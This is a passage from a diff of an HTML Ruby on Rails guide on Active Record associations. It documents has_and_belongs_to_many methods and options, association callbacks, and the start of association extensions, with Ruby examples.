+<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection</em>_singular</tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the part model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assemblies<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+assemblies<span style="color: #990000">&lt;&lt;(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+assemblies<span style="color: #990000">=</span>objects
+assembly_ids
+assembly_ids<span style="color: #990000">=</span>ids
+assemblies<span style="color: #990000">.</span>clear
+assemblies<span style="color: #990000">.</span>empty?
+assemblies<span style="color: #990000">.</span>size
+assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
+assemblies<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
+assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
+assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_additional_column_methods">Additional Column Methods</h5>
+<div class="para"><p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">The use of extra attributes on the join table in a <tt>has_and_belongs_to_many</tt> association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a <tt>has_many :through</tt> association instead of <tt>has_and_belongs_to_many</tt>.</td>
+</tr></table>
+</div>
+<h5 id="_tt_em_collection_em_force_reload_false_tt_2"><tt><em>collection</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt_2"><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by creating records in the join table.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@assembly1</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.</td>
+</tr></table>
+</div>
+<h5 id="_tt_em_collection_em_delete_object_8230_tt_2"><tt><em>collection</em>.delete(object, &#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@assembly1</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_objects_tt_2"><tt><em>collection</em>=objects</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_singular_em_ids_tt_2"><tt><em>collection_singular</em>_ids</tt></h5>
+<div class="para"><p>#   Returns an array of the associated objects' ids</p></div>
+<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assembly_ids
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_singular_em_ids_ids_tt_2"><tt><em>collection_singular</em>_ids=ids</tt></h5>
+<div class="para"><p>The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_em_clear_tt_2"><tt><em>collection</em>.clear</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.</p></div>
+<h5 id="_tt_em_collection_em_empty_tt_2"><tt><em>collection</em>.empty?</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% if @part.assemblies.empty? %&gt;</span>
+  This part is <span style="font-weight: bold"><span style="color: #0000FF">not</span></span> used <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> any assemblies
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_size_tt_2"><tt><em>collection</em>.size</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>size
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_find_8230_tt_2"><tt><em>collection</em>.find(&#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@new_assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_exist_8230_tt_2"><tt><em>collection</em>.exist?(&#8230;)</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
+<h5 id="_tt_em_collection_em_build_attributes_tt"><tt><em>collection</em>.build(attributes = {})</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_create_attributes_tt_2"><tt><em>collection</em>.create(attributes = {})</tt></h5>
+<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_has_and_belongs_to_many">4.4.2. Options for has_and_belongs_to_many</h4>
+<div class="para"><p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>uniq <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>read_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:association_foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:counter_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:delete_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:extend</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:finder_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:group</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:insert_sql</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:join_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:limit</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:offset</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:order</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:uniq</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_association_foreign_key_tt"><tt>:association_foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">The <tt>:foreign_key</tt> and <tt>:association_foreign_key</tt> options are useful when setting up a many-to-many self-join. For example:</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
+    <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_class_name_tt_4"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Gadget"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt_4"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory = 'Seattle'"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also set conditions via a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>factory <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Seattle'</span> <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the factory column has the value "Seattle".</p></div>
+<h5 id="_tt_counter_sql_tt_2"><tt>:counter_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT &#8230; FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
+</tr></table>
+</div>
+<h5 id="_tt_delete_sql_tt"><tt>:delete_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete SQL statement to delete them yourself.</p></div>
+<h5 id="_tt_extend_tt_2"><tt>:extend</tt></h5>
+<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
+<h5 id="_tt_finder_sql_tt_2"><tt>:finder_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
+<h5 id="_tt_foreign_key_tt_4"><tt>:foreign_key</tt></h5>
+<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
+    <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_group_tt_2"><tt>:group</tt></h5>
+<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_include_tt_4"><tt>:include</tt></h5>
+<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.</p></div>
+<h5 id="_tt_insert_sql_tt"><tt>:insert_sql</tt></h5>
+<div class="para"><p>Normally Rails automatically generates the proper SQL to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete SQL statement to insert them yourself.</p></div>
+<h5 id="_tt_join_table_tt"><tt>:join_table</tt></h5>
+<div class="para"><p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p></div>
+<h5 id="_tt_limit_tt_2"><tt>:limit</tt></h5>
+<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">50</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_offset_tt_2"><tt>:offset</tt></h5>
+<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset &#8658; 11</tt>, it will skip the first 10 records.</p></div>
+<h5 id="_tt_order_tt_3"><tt>:order</tt></h5>
+<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"assembly_name ASC"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_readonly_tt_4"><tt>:readonly</tt></h5>
+<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
+<h5 id="_tt_select_tt_4"><tt>:select</tt></h5>
+<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
+<h5 id="_tt_uniq_tt_2"><tt>:uniq</tt></h5>
+<div class="para"><p>Specify the <tt>:uniq &#8658; true</tt> option to remove duplicates from the collection.</p></div>
+<h5 id="_tt_validate_tt_4"><tt>:validate</tt></h5>
+<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
+<h4 id="_when_are_objects_saved_4">4.4.3. When are Objects Saved?</h4>
+<div class="para"><p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p></div>
+<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="para"><p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
+<div class="para"><p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
+<h3 id="_association_callbacks">4.5. Association Callbacks</h3>
+<div class="para"><p>Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p></div>
+<div class="para"><p>Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>before_add</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>after_add</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>before_remove</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>after_remove</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You define association callbacks by adding options to the association declaration. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>check_credit_limit
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails passes the object being added or removed to the callback.</p></div>
+<div class="para"><p>You can stack callbacks on a single event by passing them as an array:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>before_add <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>check_credit_limit<span style="color: #990000">,</span> <span style="color: #990000">:</span>calculate_shipping_charges<span style="color: #990000">]</span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> calculate_shipping_charges<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p></div>
+<h3 id="_association_extensions">4.6. Association Extensions</h3>
+<div class="para"><p>You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_by_order_prefix<span style="color: #990000">(</span>order_number<span style="color: #990000">)</span>
+      find_by_region_id<span style="color: #990000">(</span>order_number<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">..</span><span style="color: #993399">2</span><span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> FindRecentExtension
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent
